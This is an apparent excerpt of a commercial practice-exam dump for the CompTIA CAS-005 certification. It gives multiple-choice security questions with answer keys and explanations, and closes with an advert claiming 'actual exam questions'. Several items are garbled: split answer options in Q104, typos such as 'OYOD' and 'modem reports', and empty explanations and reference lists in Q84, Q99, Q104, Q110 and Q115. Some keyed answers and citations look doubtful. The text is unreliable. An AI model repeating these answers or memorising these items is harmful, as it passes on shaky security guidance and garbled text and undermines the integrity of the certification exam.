Building playbooks for different scenarios and performing regular table-top exercises directly addresses the issues identified in the lessons-learned review. Here's why:

? Lost important information for further analysis: Playbooks outline step-by-step procedures for incident response, ensuring that team members know exactly what to document and how to preserve evidence.

? Did not utilize the chain of communication: Playbooks include communication protocols, specifying who to notify and when. Regular table-top exercises reinforce these communication channels, ensuring they are followed during actual incidents.

? Did not follow the right steps for a proper response: Playbooks provide a clear sequence of actions to be taken during various types of incidents, helping the team to respond in a structured and effective manner. Regular exercises allow the team to practice these steps, identifying and correcting any deviations from the plan.

Investing in better forensic tools (Option A) or requiring certifications (Option C) are also valuable, but they do not directly address the procedural and communication gaps identified. Publishing and enforcing the incident response policy (Option D) is important but not as practical and hands-on as playbooks and exercises in ensuring the team is prepared.

References:

? CompTIA Security+ Study Guide

? NIST SP 800-61 Rev. 2, "Computer Security Incident Handling Guide"

? SANS Institute, "Incident Handler's Handbook"

#### NEW QUESTION 69

Which of the following best describes the challenges associated with widespread adoption of homomorphic encryption techniques?

- A. Incomplete mathematical primitives
- B. No use cases to drive adoption
- C. Quantum computers not yet capable
- D. Insufficient coprocessor support

**Answer: D**

#### Explanation:

Homomorphic encryption allows computations to be performed on encrypted data without decrypting it, providing strong privacy guarantees. However, the adoption of homomorphic encryption is challenging due to several factors:

? A. Incomplete mathematical primitives: This is not the primary barrier as the theoretical foundations of homomorphic encryption are well-developed.

? B. No use cases to drive adoption: There are several compelling use cases for homomorphic encryption, especially in privacy-sensitive fields like healthcare and finance.

? C. Quantum computers not yet capable: Quantum computing is not directly related to the challenges of adopting homomorphic encryption.

? D. Insufficient coprocessor support: The computational overhead of homomorphic encryption is significant, requiring substantial processing power. Current general-purpose processors are not optimized for the intensive computations required by homomorphic encryption, limiting its practical deployment. Specialized hardware or coprocessors designed to handle these computations more efficiently are not yet widely available.

References:

? CompTIA Security+ Study Guide

? "Homomorphic Encryption: Applications and Challenges" by Rivest et al.

? NIST, "Report on Post-Quantum Cryptography"

#### NEW QUESTION 73

After remote desktop capabilities were deployed in the environment, various vulnerabilities were noticed.

- Exfiltration of intellectual property
- Unencrypted files
- Weak user passwords

Which of the following is the best way to mitigate these vulnerabilities? (Select two).

- A. Implementing data loss prevention
- B. Deploying file integrity monitoring
- C. Restricting access to critical file services only
- D. Deploying directory-based group policies
- E. Enabling modern authentication that supports MFA
- F. Implementing a version control system
- G. Implementing a CMDB platform

**Answer: AE**

**Explanation:**

To mitigate the identified vulnerabilities, the following solutions are most appropriate:

? A. Implementing data loss prevention (DLP): DLP solutions help prevent the

unauthorized transfer of data outside the organization. This directly addresses the exfiltration of intellectual property by monitoring, detecting, and blocking sensitive data transfers.

? E. Enabling modern authentication that supports Multi-Factor Authentication

(MFA): This significantly enhances security by requiring additional verification methods beyond just passwords. It addresses the issue of weak user passwords by making it much harder for unauthorized users to gain access, even if they obtain the password.

Other options, while useful in specific contexts, do not address all the vulnerabilities mentioned:

? B. Deploying file integrity monitoring helps detect changes to files but does not

prevent data exfiltration or address weak passwords.

? C. Restricting access to critical file services improves security but is not comprehensive enough to mitigate all identified vulnerabilities.

? D. Deploying directory-based group policies can enforce security policies but might not directly prevent data exfiltration or ensure strong authentication.

? F. Implementing a version control system helps manage changes to files but is not a security measure for preventing the identified vulnerabilities.

? G. Implementing a CMDB platform (Configuration Management Database) helps manage IT assets but does not address the specific security issues mentioned.

References:

? CompTIA Security+ Study Guide

? NIST SP 800-53 Rev. 5, "Security and Privacy Controls for Information Systems and Organizations"

? CIS Controls, "Control 13: Data Protection" and "Control 16: Account Monitoring and Control"

**NEW QUESTION 74**

A security administrator is performing a gap assessment against a specific OS benchmark. The benchmark requires the following configurations be applied to endpoints:

- Full disk encryption
- \* Host-based firewall
- Time synchronization
- \* Password policies
- Application allow listing
- \* Zero Trust application access

Which of the following solutions best addresses the requirements? (Select two).

- A. CASB
- B. SBoM
- C. SCAP
- D. SASE
- E. HIDS

**Answer: CD**

**Explanation:**

To address the specific OS benchmark configurations, the following solutions are most appropriate:

\* C. SCAP (Security Content Automation Protocol): SCAP helps in automating vulnerability management and policy compliance, including configurations like full disk encryption, host-based firewalls, and password policies.

\* D. SASE (Secure Access Service Edge): SASE provides a framework for Zero Trust network access and application allow listing, ensuring secure and compliant access to applications and data.

These solutions together cover the comprehensive security requirements specified in the OS benchmark, ensuring a robust security posture for endpoints.

References:

? CompTIA SecurityX Study Guide: Discusses SCAP and SASE as part of security configuration management and Zero Trust architectures.

? NIST Special Publication 800-126, "The Technical Specification for the Security Content Automation Protocol (SCAP)": Details SCAP's role in security automation.

? "Zero Trust Networks: Building Secure Systems in Untrusted Networks" by Evan Gilman and Doug Barth: Covers the principles of Zero Trust and how SASE can implement them.

By implementing SCAP and SASE, the organization ensures that all the specified security configurations are applied and maintained effectively.

**NEW QUESTION 77**

An organization wants to manage specialized endpoints and needs a solution that provides the ability to

- \* Centrally manage configurations
- \* Push policies.
- Remotely wipe devices
- Maintain asset inventory

Which of the following should the organization do to best meet these requirements?

- A. Use a configuration management database
- B. Implement a mobile device management solution.
- C. Configure contextual policy management
- D. Deploy a software asset manager

**Answer: B**

**Explanation:**

To meet the requirements of centrally managing configurations, pushing policies, remotely wiping devices, and maintaining an asset inventory, the best solution is to implement a Mobile Device Management (MDM) solution.

MDM Capabilities:

- ? Central Management: MDM allows administrators to manage the configurations of all devices from a central console.
- ? Policy Enforcement: MDM solutions enable the push of security policies and updates to ensure compliance across all managed devices.
- ? Remote Wipe: In case a device is lost or stolen, MDM provides the capability to remotely wipe the device to protect sensitive data.
- ? Asset Inventory: MDM maintains an up-to-date inventory of all managed devices, including their configurations and installed applications.

Other options do not provide the same comprehensive capabilities required for managing specialized endpoints.

References:

- ? CompTIA SecurityX Study Guide
- ? NIST Special Publication 800-124 Revision 1, "Guidelines for Managing the Security of Mobile Devices in the Enterprise"
- ? "Mobile Device Management Overview," Gartner Research

**NEW QUESTION 80**

A systems administrator wants to reduce the number of failed patch deployments in an organization. The administrator discovers that system owners modify systems or applications in an ad hoc manner. Which of the following is the best way to reduce the number of failed patch deployments?

- A. Compliance tracking
- B. Situational awareness
- C. Change management
- D. Quality assurance

**Answer: C**

**Explanation:**

To reduce the number of failed patch deployments, the systems administrator should implement a robust change management process. Change management ensures that all modifications to systems or applications are planned, tested, and approved before deployment. This systematic approach reduces the risk of unplanned changes that can cause patch failures and ensures that patches are deployed in a controlled and predictable manner.

References:

- ? CompTIA SecurityX Study Guide: Emphasizes the importance of change management in maintaining system integrity and ensuring successful patch deployments.
- ? ITIL (Information Technology Infrastructure Library) Framework: Provides best practices for change management in IT services.
- ? "The Phoenix Project" by Gene Kim, Kevin Behr, and George Spafford: Discusses the critical role of change management in IT operations and its impact on system stability and reliability.

**NEW QUESTION 84**

All organization is concerned about insider threats from employees who have individual access to encrypted material. Which of the following techniques best addresses this issue?

- A. SSO with MFA
- B. Sating and hashing
- C. Account federation with hardware tokens
- D. SAE
- E. Key splitting

**Answer: E**

**Explanation:**

The technique that best addresses the issue of insider threats from employees who have individual access to encrypted material is key splitting. Here??s why:  
 ? Key Splitting: Key splitting involves dividing a cryptographic key into multiple parts and distributing these parts among different individuals or systems. This ensures that no single individual has complete access to the key, thereby mitigating the risk of insider threats.

? Increased Security: By requiring multiple parties to combine their key parts to access encrypted material, key splitting provides an additional layer of security. This approach is particularly useful in environments where sensitive data needs to be protected from unauthorized access by insiders.

? Compliance and Best Practices: Key splitting aligns with best practices and regulatory requirements for handling sensitive information, ensuring that access is tightly controlled and monitored.

? References:

By employing key splitting, organizations can effectively reduce the risk of insider threats and enhance the overall security of encrypted material.

**NEW QUESTION 89**

A security analyst wants to use lessons learned from a poor incident response to reduce dwell lime in the future The analyst is using the following data points

User	Site visited	HTTP method	Filter status	Traffic status	Alert status
account1	tools.com	GET	Allowed	Allowed	No
admin1	hacking.com	GET	Allowed	Allowed	Yes
account5	payroll.com	GET	Allowed	Allowed	No
account2	p4yr011.com	GET	Blocked	Blocked	No
account2	p4yr011.com	POST	Blocked	Blocked	No
account2	139.40.29.21	POST	Allowed	Allowed	No
account5	payroll.com	GET	Allowed	Allowed	No

Which of the following would the analyst most likely recommend?

- A. Adjusting the SIEM to alert on attempts to visit phishing sites
- B. Allowing TRACE method traffic to enable better log correlation
- C. Enabling alerting on all suspicious administrator behavior
- D. Utilizing allow lists on the WAF for all users using GFT methods

**Answer: C**

**Explanation:**

In the context of improving incident response and reducing dwell time, the security analyst needs to focus on proactive measures that can quickly detect and alert on potential security breaches. Here's a detailed analysis of the options provided:

- \* A. Adjusting the SIEM to alert on attempts to visit phishing sites: While this is a useful measure to prevent phishing attacks, it primarily addresses external threats and doesn't directly impact dwell time reduction, which focuses on the time a threat remains undetected within a network.
- \* B. Allowing TRACE method traffic to enable better log correlation: The TRACE method in HTTP is used for debugging purposes, but enabling it can introduce security vulnerabilities. It's not typically recommended for enhancing security monitoring or incident response.
- \* C. Enabling alerting on all suspicious administrator behavior: This option directly targets the potential misuse of administrator accounts, which are often high-value targets for attackers. By monitoring and alerting on suspicious activities from admin accounts, the organization can quickly identify and respond to potential breaches, thereby reducing dwell time significantly. Suspicious behavior could include unusual login times, access to sensitive data not usually accessed by the admin, or any deviation from normal behavior patterns. This proactive monitoring is crucial for quick detection and response, aligning well with best practices in incident response.
- \* D. Utilizing allow lists on the WAF for all users using GET methods: This measure is aimed at restricting access based on allowed lists, which can be effective in preventing unauthorized access but doesn't specifically address the need for quick detection and response to internal threats.

References:

- ? CompTIA SecurityX Study Guide: Emphasizes the importance of monitoring and alerting on admin activities as part of a robust incident response plan.
  - ? NIST Special Publication 800-61 Revision 2, "Computer Security Incident Handling Guide": Highlights best practices for incident response, including the importance of detecting and responding to suspicious activities quickly.
  - ? "Incident Response & Computer Forensics" by Jason T. Luttgens, Matthew Pepe, and Kevin Mandia: Discusses techniques for reducing dwell time through effective monitoring and alerting mechanisms, particularly focusing on privileged account activities.
- By focusing on enabling alerting for suspicious administrator behavior, the security analyst addresses a critical area that can help reduce the time a threat goes undetected, thereby improving the overall security posture of the organization.

Top of Form Bottom of Form

**NEW QUESTION 90**

A network engineer must ensure that always-on VPN access is enabled and restricted to company assets. Which of the following best describes what the engineer needs to do?

- A. Generate device certificates using the specific template settings needed
- B. Modify signing certificates in order to support IKE version 2
- C. Create a wildcard certificate for connections from public networks
- D. Add the VPN hostname as a SAN entry on the root certificate

**Answer: A**

**Explanation:**

To ensure always-on VPN access is enabled and restricted to company assets, the network engineer needs to generate device certificates using the specific template settings required for the company's VPN solution. These certificates ensure that only authorized devices can establish a VPN connection.

Why Device Certificates are Necessary:

- ? Authentication: Device certificates authenticate company assets, ensuring that only authorized devices can access the VPN.
- ? Security: Certificates provide a higher level of security compared to username and password combinations, reducing the risk of unauthorized access.
- ? Compliance: Certificates help in meeting security policies and compliance requirements by ensuring that only managed devices can connect to the corporate network.

Other options do not provide the same level of control and security for always-on VPN access:

- ? B. Modify signing certificates for IKE version 2: While important for VPN protocols, it does not address device-specific authentication.
- ? C. Create a wildcard certificate: This is not suitable for device-specific authentication and could introduce security risks.
- ? D. Add the VPN hostname as a SAN entry: This is more related to certificate management and does not ensure device-specific authentication.

References:

- ? CompTIA SecurityX Study Guide
- ? "Device Certificates for VPN Access," Cisco Documentation
- ? NIST Special Publication 800-77, "Guide to IPsec VPNs"

**NEW QUESTION 94**

An organization is developing an AI-enabled digital worker to help employees complete common tasks such as template development, editing, research, and scheduling. As part of the AI workload the organization wants to implement guardrails within the platform. Which of the following should the company do to secure the AI environment?

- A. Limit the platform's abilities to only non-sensitive functions
- B. Enhance the training model's effectiveness.
- C. Grant the system the ability to self-govern
- D. Require end-user acknowledgement of organizational policies.

**Answer: A**

**Explanation:**

Limiting the platform's abilities to only non-sensitive functions helps to mitigate risks associated with AI operations. By ensuring that the AI-enabled digital worker is only allowed to perform tasks that do not involve sensitive or critical data, the organization reduces the potential impact of any security breaches or misuse. Enhancing the training model's effectiveness (Option B) is important but does not directly address security guardrails. Granting the system the ability to self-govern (Option C) could increase risk as it may act beyond the organization's control. Requiring end-user acknowledgement of organizational policies (Option D) is a good practice but does not implement technical guardrails to secure the AI environment.

References:

- ? CompTIA Security+ Study Guide
- ? NIST SP 800-53 Rev. 5, "Security and Privacy Controls for Information Systems and Organizations"

? ISO/IEC 27001, "Information Security Management"

#### NEW QUESTION 99

A systems engineer is configuring a system baseline for servers that will provide email services. As part of the architecture design, the engineer needs to improve performance of the systems by using an access vector cache, facilitating mandatory access control and protecting against:

- Unauthorized reading and modification of data and programs
- Bypassing application security mechanisms
- Privilege escalation
- interference with other processes

Which of the following is the most appropriate for the engineer to deploy?

- A. SELinux
- B. Privileged access management
- C. Self-encrypting disks
- D. NIPS

**Answer:** A

#### Explanation:

The most appropriate solution for the systems engineer to deploy is SELinux (Security- Enhanced Linux). Here's why:

? Mandatory Access Control (MAC): SELinux enforces MAC policies, ensuring that

only authorized users and processes can access specific resources. This helps in preventing unauthorized reading and modification of data and programs.

? Access Vector Cache: SELinux utilizes an access vector cache (AVC) to improve

performance. The AVC caches access decisions, reducing the need for repetitive policy lookups and thus improving system efficiency.

? Security Mechanisms: SELinux provides a robust framework to enforce security

policies and prevent bypassing of application security mechanisms. It controls access based on defined policies, ensuring that security measures are consistently applied.

? Privilege Escalation and Process Interference: SELinux limits the ability of

processes to escalate privileges and interfere with each other by enforcing strict access controls. This containment helps in isolating processes and minimizing the risk of privilege escalation attacks.

? References:

#### NEW QUESTION 104

During a gap assessment, an organization notes that OYOD usage is a significant risk. The organization implemented administrative policies prohibiting BYOD usage. However, the organization has not implemented technical controls to prevent the unauthorized use of BYOD assets when accessing the organization's resources. Which of the following solutions should the organization implement to reduce the risk of OYOD devices? (Select two).

- A. Cloud IAM to enforce the use of token based MFA
- B. Conditional access, to enforce user-to-device binding
- C. NAC, to enforce device configuration requirements
- D. PA
- E. to enforce local password policies
- F. SD-WA
- G. to enforce web content filtering through external proxies
- H. DLP, to enforce data protection capabilities

**Answer:** BC

#### Explanation:

To reduce the risk of unauthorized BYOD (Bring Your Own Device) usage, the organization should implement Conditional Access and Network Access Control (NAC). Why Conditional Access and NAC?

? Conditional Access:

? Network Access Control (NAC):

Other options, while useful, do not address the specific need to control and secure BYOD devices effectively:

? A. Cloud IAM to enforce token-based MFA: Enhances authentication security but

does not control device compliance.

? D. PAM to enforce local password policies: Focuses on privileged account management, not BYOD control.

? E. SD-WAN to enforce web content filtering: Enhances network performance and security but does not enforce BYOD device compliance.

? F. DLP to enforce data protection capabilities: Protects data but does not control BYOD device access and compliance.

References:

? CompTIA SecurityX Study Guide

? "Conditional Access Policies," Microsoft Documentation

? "Network Access Control (NAC)," Cisco Documentation

#### NEW QUESTION 105

A company updates its cloud-based services by saving infrastructure code in a remote repository. The code is automatically deployed into the development environment every time the code is saved to the repository. The developers express concern that the deployment often fails, citing minor code issues and occasional security control check failures in the development environment. Which of the following should a security engineer recommend to reduce the deployment failures? (Select two).

- A. Software composition analysis
- B. Pre-commit code linting
- C. Repository branch protection
- D. Automated regression testing
- E. Code submit authorization workflow
- F. Pipeline compliance scanning

**Answer:** BD

**Explanation:**

- ? B. Pre-commit code linting: Linting tools analyze code for syntax errors and adherence to coding standards before the code is committed to the repository. This helps catch minor code issues early in the development process, reducing the likelihood of deployment failures.
  - ? D. Automated regression testing: Automated regression tests ensure that new code changes do not introduce bugs or regressions into the existing codebase. By running these tests automatically during the deployment process, developers can catch issues early and ensure the stability of the development environment.
- Other options:
- ? A. Software composition analysis: This helps identify vulnerabilities in third-party components but does not directly address code quality or deployment failures.
  - ? C. Repository branch protection: While this can help manage the code submission process, it does not directly prevent deployment failures caused by code issues or security check failures.
  - ? E. Code submit authorization workflow: This manages who can submit code but does not address the quality of the code being submitted.
  - ? F. Pipeline compliance scanning: This checks for compliance with security policies but does not address syntax or regression issues.

References:

- ? CompTIA Security+ Study Guide
- ? "Continuous Integration and Continuous Delivery" by Jez Humble and David Farley
- ? OWASP (Open Web Application Security Project) guidelines on secure coding practices

**NEW QUESTION 110**

While reviewing recent modem reports, a security officer discovers that several employees were contacted by the same individual who impersonated a recruiter. Which of the following best describes this type of correlation?

- A. Spear-phishing campaign
- B. Threat modeling
- C. Red team assessment
- D. Attack pattern analysis

**Answer: A**

**Explanation:**

- The situation where several employees were contacted by the same individual impersonating a recruiter best describes a spear-phishing campaign. Here??s why:
- ? Targeted Approach: Spear-phishing involves targeting specific individuals within an organization with personalized and convincing messages to trick them into divulging sensitive information or performing actions that compromise security.
  - ? Impersonation: The use of impersonation, in this case, a recruiter, is a common tactic in spear-phishing to gain the trust of the targeted individuals and increase the likelihood of a successful attack.
  - ? Correlated Contacts: The fact that several employees were contacted by the same individual suggests a coordinated effort to breach the organization??s security by targeting multiple points of entry through social engineering.
- ? References:

**NEW QUESTION 115**

A security architect wants to develop a baseline of security configurations These configurations automatically will be utilized machine is created Which of the following technologies should the security architect deploy to accomplish this goal?

- A. Short
- B. GASB
- C. Ansible
- D. CMDB

**Answer: C**

**Explanation:**

- To develop a baseline of security configurations that will be automatically utilized when a machine is created, the security architect should deploy Ansible. Here??s why:
- ? Automation: Ansible is an automation tool that allows for the configuration, management, and deployment of applications and systems. It ensures that security configurations are consistently applied across all new machines.
  - ? Scalability: Ansible can scale to manage thousands of machines, making it suitable for large enterprises that need to maintain consistent security configurations across their infrastructure.
  - ? Compliance: By using Ansible, organizations can enforce compliance with security policies and standards, ensuring that all systems are configured according to best practices.
- ? References:

**NEW QUESTION 116**

.....

## **Thank You for Trying Our Product**

### **We offer two products:**

1st - We have Practice Tests Software with Actual Exam Questions

2nd - Questions and Answers in PDF Format

### **CAS-005 Practice Exam Features:**

- \* CAS-005 Questions and Answers Updated Frequently
- \* CAS-005 Practice Questions Verified by Expert Senior Certified Staff
- \* CAS-005 Most Realistic Questions that Guarantee you a Pass on Your FirstTry
- \* CAS-005 Practice Test Questions in Multiple Choice Formats and Updatesfor 1 Year

**100% Actual & Verified — Instant Download, Please Click**  
**[Order The CAS-005 Practice Test Here](#)**